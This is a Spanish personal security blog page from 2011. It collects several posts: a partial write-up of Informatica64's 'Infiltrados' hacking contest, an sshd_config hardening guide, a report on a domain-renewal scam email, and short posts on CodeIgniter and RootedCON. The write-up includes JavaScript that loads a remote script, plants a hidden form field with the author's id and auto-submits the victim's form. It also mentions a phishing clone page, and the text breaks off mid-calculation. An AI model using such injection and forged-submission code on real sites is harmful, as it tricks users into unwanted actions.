viernes, 13 de mayo de 2011

Segundo! en el Concurso de Infiltrados de Informatica64!

En los próximos días publicaré un articulo con las soluciones de como se resuelve ese concurso, o al menos como lo hice yo :).

@Budaned me ha prometido que igual también me pasa su write-up por lo que tendremos dos visiones distintas de como se podía resolver. Probablemente la suya mucho más interesante.

En realidad esta entrada no solo es para anunciar eso, sino para felicitar a Yuri que se lo curró mogollón y consiguió ganar el concurso, yo he de reconocer que estuve pidiendo la hora y el final del partido, pero mi tiempo era muy limitado ya que durante el día trabajo y por la noche me costaba sacarle horas al reloj (aunque bueno, algunas sacaba :) ). Estoy muy contento con mi resultado que me mantuvo primero durante mas de 24 horas y me hizo sentir las mieles del éxito y la xbox en mis labios, la lastima fue que no conseguí encontrar la idea feliz del ultimo reto hasta ya conseguido un ganador.

Felicitar a todos aquellos que han puntuado, considero que cada año ese reto es mas divertido, lo que pasa es que para el año que viene creo que a @chemaalonso y a @informatica64 les va a tocar cambiar cosas, como la validación humana, o los horarios. (que creo que van emparejadas). Así como poner dos categorías, estudiantes y profesionales y adecuar las pruebas a esos niveles. Así no ocurriría que solo un 10 de 400 personas han podido puntar.

Enhorabuena no obstante a Informatica64 por el concurso :) ha sido muy interesante y me lo he pasado muy bien, lastima que no valiera ganar por puntos!

En los próximos dias tendréis mi write-up publicado aquí y donde la organización desee :)

Infiltrados - Informatica 64. Articulo recuperado

Todo empezó sin comerlo ni beberlo al ver que @budaned habia conseguido ponerse primero, no hay nada como el sano pique entre compañeros y amigos como para motivar a uno. Vi su posición y dije si el puede yo también. El primer dia llegaron las 19h demasiado pronto, al poco de que budaned puntuase, recien llegado del trabajo y no me dió tiempo para nada, pero pude ver como era la mecánica del juego, era un BrowserSchools 2, este año no iba a picar en los mismos errores del año pasado, desempolvé los apuntes del año pasado de BrowserSchools y me propuse a divertirme un rato

Fase 1. BrowserSchools 2.0
Firefox:

Usé mi cargador de ficheros , en este caso no era necesario, pero al principio intenté como el año pasado usar jquery, pero este año me dió un problemilla firefox con el símbolo $ y no me dejaba cargar jquery, no tengo muy claro porqué pero decidí pasar de el, y como el cargador si que cargaba mi fichero js, lo utilicé

<code>
var filesadded="" //list of files already added
function loadJsFile(filename){
var fileref=document.createElement('script')
fileref.setAttribute("type","text/javascript")
fileref.setAttribute("src", filename)
if (typeof fileref!="undefined"){
document.getElementsByTagName("head")[0].appendChild(fileref)
}
}
function loadMetaData(){
var fileref=document.createElement('meta')
fileref.setAttribute("HTTP-EQUIV","Pragma")
fileref.setAttribute("CONTENT", "no-cache")
if (typeof fileref!="undefined"){
document.getElementsByTagName("head")[0].appendChild(fileref)
}
}
function checkLoadJsFile(filename){
if (filesadded.indexOf("["+filename+"]")==-1){
loadJsFile(filename)
filesadded+="["+filename+"]" //List of files added in the form "[filename1],[filename2],etc"
}
}
loadMetaData();
//loadJsFile("http://adriancarrillo.com/retomic/jq.js"); //dynamically load and add this .js file
loadJsFile("http://adriancarrillo.com/retomic/ej1.js");
//loadJsFile("http://notrealsec.net/retomic/ej2.js");
</code>

Utilicé la web adriancarrillo.com pero realmente tenia que haber utilizado la mía(notrealsec.net) pero como esta todavía patas arriba pues decidí utilizar una que ya estaba configurada.

Luego en mi ej1.js
<code>
var input = document.createElement("input");
input.setAttribute("type", "hidden");
input.setAttribute("name", "ctl00$cph2$hfidUsuario");
input.setAttribute("id", "ctl00_cph2_hfidUsuario");
input.setAttribute("value", "b0f034a9-dfdb-4b0a-83d3-933d4a9a6d5f"); //Mi id
document.getElementById("aspnetForm").appendChild(input);
var a=document.getElementById("ctl00_cph2_hfidUsuario");

document.getElementById("aspnetForm").submit();
</code>

Cree un input por si el usuario que pulsaba no lo tenia y le añadí mi id, tal cual estaba en el formulario, así me aseguraba que el usuario pulsaba con mi id. Ademas hice un submit del form para que el usuario no tuviera ni que pulsar el botón.

Chrome / Explorer

Aquí tras varios intentos de inyectar código y no conseguirlo decidí no marear y me hice con un clon de la pagina en modo phising, con mi id, así si el usuario pulsaba uno de los botones iba redirigido a la verdadera pagina y no a la mía. No fue una manera muy ortodoxa pero fue una de las maneras que vi que se hacia algo parecido el año pasado y decidí probar suerte. Fue un éxito rotundo, aunque en explorer se ve que la organización estuvo pensándose si aceptarmelo o no durante un rato, no les culpo yo también lo hubiera hecho. Realmente no me gustó esa manera de entrar pero bueno, se trataba de engañar a un usuario. El código integro de la pagina esta en el anexo I.

Fase 2. El infierno de los hashes.

La fase 2 fue mucho mas complicada,
Teníamos dos campos inyectables, un app_hash y un mail, y un error que decía que el email no pertenecía al hash, era un infierno, Lo primero que hice fue pasar el base 64 a algo que podía entender, xD. Nada mas lejos de la realidad, Aun resuenan en mi cabeza los números como si fueran los de lost.

8 10 11 0 2 29 1 21 22 14 23 6 28 38 0 2 18 29 19 9 14 7 0 13 7 95 88 90 28 4 16

y en hexadecimal

08 0a 0b 00 02 1d 01 15 16 0e 17 06 1c 26 00 02 12 1d 13 09 0e 07 00 0d 07 5f 58 5a 1c 04 10

Malditos roedores!, porque tan bajos? Y porqué esos tan altos? 5F 58 5a?, 26? (95,88,90,38), tenia muy poco sentido, probé haciéndoles sumas, en todo el espacio ascii, nada, no era un problema de sustitución, probé con crypto tool, barajas, sustitución, cesar. Nada parecía ser lo que buscaba. Quien había decidido esta pantalla?. Cuanta complicación.

Tras miles de intentos, chema dió una pista por twitter, y dije o me voy para casa o se me adelantan, salí corriendo con el coche (respetando eso si las señales y velocidades) y aterricé en mi casa, encendí el ordenador y me llegó una pequeña inspiración, se me ocurrió la opción de probar una xor con una serie de a's y aparecían caracteres todos del rango de los ascii por lo que deduje que iba por buen camino. Con esto ya sabíamos que podía ser una XOR, ahora solo teníamos que saber con que se estaba haciendo la XOR. Ademas nos indicó el numero de caracteres que tenia nuestra cadena a descifrar. 31.31 Caracteres imprimibles ASCII,

Continuemos con la XOR, recapitulemos tenemos unos 31 bytes de texto que debe según parece el mensaje ser un email o algo por el estilo, lo primero que probé fue a hacer una xor con la url de la pagina, no era un email, pero estaba desesperado. Una de las propiedades que seguí en este criptoanalisis es que la XOR de una cadena con otra da un resultado que cualquiera de las dos cadenas usadas vuelves a hacer XOR con el resultado y obtienes la otra

texto="rhinfiltrados.informatica64.com”
cadena=”080a0b00021d0115160e17061c260002121d13090e07000d075f585a1c0410“
operación = texto XOR cadena
result

jueves, 21 de abril de 2011

Asegurando SSH. En un entorno de usuarios de confianza.

Muy buenas,

Imaginad que tenemos un grupo de usuarios en nuestro servidor que consideramos de entera confianza, son gente a la que podemos canear si la lian y que saben poco o nada de informatica y ademas sabemos que antes de jodernos el server van a preferir rompernos las piernas. Para esta circunstancia voy a proponeros una configuracion de ssh alternativa a las clasicas. Imaginad también que tenemos un servidor con debian squeeze ya que no si en otros servidores esta configuración funcionaria.

Las condiciones son tener un sftp activo para que nuestros clientes puedan conectarse y subir y bajar ficheros de manera segura.

Tener unos usuarios privilegiados que se podrán conectar a nuestro sistema via ssh para modificar lo que les apetezca.

Primero de todo vamos a ir a nuestro fichero de configuración ssh /etc/ssh/sshd_config

Vamos a reducir el numero de ataques, por lo que primero de todo cambiaremos el puerto a un puerto >1024, por ejemplo el 22334, a partir de ahora todos nuestros clientes se conectarán via sftp a dicho puerto.

Modificaremos la directiva Port y pondremos:
Port 22334

Nos aseguramos que la directiva Protocol solo pone
Protocol 2

Y comprobamos que tenemos activo el
UsePrivilegeSeparation yes

A continuacion limitaremos el acceso del usuario root a nuestro sistema, No queremos que root se conecte via remota, no vaya a ser que nos hagan un bruteforce y la liemos. Para ello cambiamos la directiva PermitRootLogin
PermitRootLogin no

Como nos gustaria que los usuarios usasen claves publicas y privadas pondremos PubkeyAuthentication y RSAAuthentication a yes


RSAAuthentication yes
PubkeyAuthentication yes

Esto no quiere decir que vayamos a usarlas, al menos si planeamos usar sftp, ya que igual es un poco complicado para el perfil de usuario que hemos elegido como cliente una configuracion de clave publica/privada. No obstante lo dejaremos para usarlas como administrador llegado el momento.

Vamos a quitar la posiblidad de no confiar en los knowhost de los usuarios para ello descomentamos

#IgnoreUserKnownHosts yes

y nos aseguramos que PermitEmptyPasswords  es no. No queremos que nadie se loguee con una cuenta olvidada o sin password en nuestro sistema.

Tampoco querremos la siguiente opcion ChallengeResponseAuthentication no

Como estamos configurando un servidor, pondremos X11Forward a no, ya que nuestro servidor no va a usar X (Para que?).

Ya para ir terminando como vamos a tener a usuarios con sftp vamos a hacer que los usuarios que esten en el grupo sftponly puedan acceder al sistema en modo chroot. Nuestros clientes estarán dentro de ese grupo (sftponly). 

Ademas aqui tenemos varias opciones. Hay gente que sugiere que hagamos dentro de la regla de match group algo asi como ChrootDirectory /home/%u teniendo que poner las carpetas de los usuarios como root:root En un servidor como el que planteamos puede que tenga poco sentido, creemos que es mucho mas inteligente hacer lo siguiente. Poner la carpeta donde se hace Chroot a /home y asegurar cada usuario con sus permisos adecuados, cada vez que alguien acceda accederá a /home pero no podrá entrar en las demas carpetas. Voy a explicar esto con mas detalle:

Match group sftponly
    ChrootDirectory /home
    ForceCommand internal-sftp

Con la directiva Match decimos que los usuarios que pertenecen a ese grupo los trate de la siguiente manera
ChrootDirectory en /home. Las carpetas de dentro de /home tendrán de permisos 0750 con nombre y grupo que les corresponda. Adicionalmente podemos hacer 

         X11Forwarding no
         AllowTcpForwarding no

Para no permitir usarnos de proxy y para insistir que no queremos X11 (esta regla del X11 es obviable).

De esta manera nos aseguramos que la gente de ese grupo quede totalmente chrooteada. Solo tenemos que meter a todos nuestros clientes en ese grupo y ya tenemos un sftp chrooteado :)

Para continuar esta es la innovación que me planteo. Si no me fío de internet, vamos a intentar que solo los host que estén en nuestra vpn puedan acceder mediante ssh siempre que no sean del grupo sftponly. Dejando las tareas de administración a cargo de una vpn. Dentro de la vpn también podemos poner cosas como el panel de control del servidor o cualquier otra cosa. La vpn puede ser abierta incluso por portknocking si nuestro nivel de paranoia es suficientemente elevado.

Nuestra directiva que habrá que usar para substituir la anterior es:


Match Address *,!192.168.14.0/24
         ChrootDirectory /home
         X11Forwarding no
         AllowTcpForwarding no
         ForceCommand internal-sftp

Lo que hace es que para cualquier ip menos la de nuestra vpn lo chrootee pero a la de nuestra vpn ignore esto.

  
Justo despues, que lo que haría es que cualquiera que no esté en nuestra vpn se vaya al chroot. Como medida puede ser un filtro mas por si se nos olvidase añadir a un usuario en concreto que debiera de estar chrooteado.

Bueno espero que os haya gustado.

martes, 19 de abril de 2011

Intento de Timo

Hoy he recibido este fabuloso correo en una de las cuentas que administro.

-------------------------------------------------------------------------

De: Expiring Domain Notice [mailto:ceciliagoff@1domainregistratservice.com]
Enviado el: Ninguno
Para: MiDominio.com@MiDominio.com.org
Asunto: Re: MiDominio.com


This email is a solicitation. Registration Domains is not a DNS registrar and does not offer web hosting or domain name registration. Registration Domains is a search engine ranking and submission service.
Attention: Important Notice

Domain Name: MiDominio.com

This letter is to inform you that it's time to send in your search engine registration for MiDominio.com.

Failure to complete your search engine registration by May 4, 2011 may result in the cancellation of this offer (making it difficult for your customers to locate you using search engines on the web).

Your registration includes search engine submission for MiDominio.com for 1 year. You are under no obligation to pay the amount stated above unless you accept this offer by May 4, 2011. This notice is not an invoice. It is a courtesy reminder to register MiDominio.com for search engine listing so that your customers can locate you on the web.

This Offer for MiDominio.com will expire on May 4, 2011. Act today!

For Domain Name:

MiDominio.com

-------------------------------------------------------------------------

El correo daba enlaces para llevarte a una plataforma de pago , realmente muy pensado todo. Cuando lo leías por primera vez te dabas cuenta que hacia referencia a un dominio tuyo, ademas usaba los datos del Whois públicos para que pareciera que estaba apunto de expirar y ya para cerrar el circulo daba toda la impresión de que o pagabas rápido o te quedabas sin dominio.

Cuando lo lees con mas detenimiento te están ofreciendo un posicionamiento. Ya les vale. He notificado a delitos telemáticos de la guardia civil para que den una alerta, pero realmente es curioso como pueden intentar usar la Ing.Social con los administradores de dominio.

Por suerte, nosotros no hemos caído, pero si le llega este correo a una persona con menos conocimientos del tema igual puede colarle.

lunes, 18 de abril de 2011

CodeIgniter

Muy buenas,

Durante los últimos días he estado con la migración del servidor, ahora vienen un par de ctfs interesantes de hacking y como siempre tengo algún proyecto que me pide paso.

Como algunos sabréis cuando no estoy currando o jugueteando con cosas de seguridad me dedico a hacer pequeñas webs, sobretodo una que llevo años haciéndola pero que siempre decido que habría otra manera de dejarla perfecta(supongo que es por la responsabilidad que me generar). Esta es la web de mi padre y mi abuelo Adrian Carrillo.

Con el cambio de servidor he decidido retomar el proyecto con el objetivo de rediseñarla y desarrollarla con un framework que facilite su implementación y que me haga olvidarme de muchas cosas.

Mientras espero que symfony saque su versión 2 (que promete ser la leche) este framework tiene gestión de base de datos, jquery(ayudas), y lo que me parece mas importante protección contra ataques como XSS, y CSRF. Lo cual puede hacer que las horas de desarrollo se reduzcan.

Nada solo quería comentarlo y recomendarlo, pues me ha parecido muy fácil comenzar con el, y creo que tiene bastante potencia.

domingo, 17 de abril de 2011

Bienvenidos de nuevo

A partir de hoy este será mi nuevo Blog. He decidido cambiar pues creo que asi las tareas de administración se reducirán, ademas reduciré los costes asociados al blog.

Espero que me sigais!.

P.D: Alguien sabe pasar los articulos de drupal a blogger sin tener que copiar uno a uno?

miércoles, 16 de febrero de 2011

Me voy a la rootedcon

Primero de todo decir que me voy a la rootedCon[http://www.rootedcon.es/], en la que espero conocer a gente del mundo de la seguridad informática y disfrutar de las muchas ponencias que van a haber. Intentaré colgar comentarios sobre que me han parecido las charlas e intentaré resumir lo más espectacular de algunas. Para aquello aun quedan 2 semanas. Por otro lado, el otro día vino Chema Alonso a Alicante a dar una charla. Dejo el video a continuación http://www.youtube.com/watch?v=Y98OyB6bulg Como era de esperar... Una pasada. El tío es capaz de mover a las masas. Empezó el día tomándose un café con alex de http://dnieyfirmadigital.blogspot.com y conmigo y acabó dando una magistral charla como podéis ver en el enlace anterior. Realmente digno de disfrutar. Espero poder verle de nuevo en acción en la Rooted y con suerte que caiga otro cafelito :)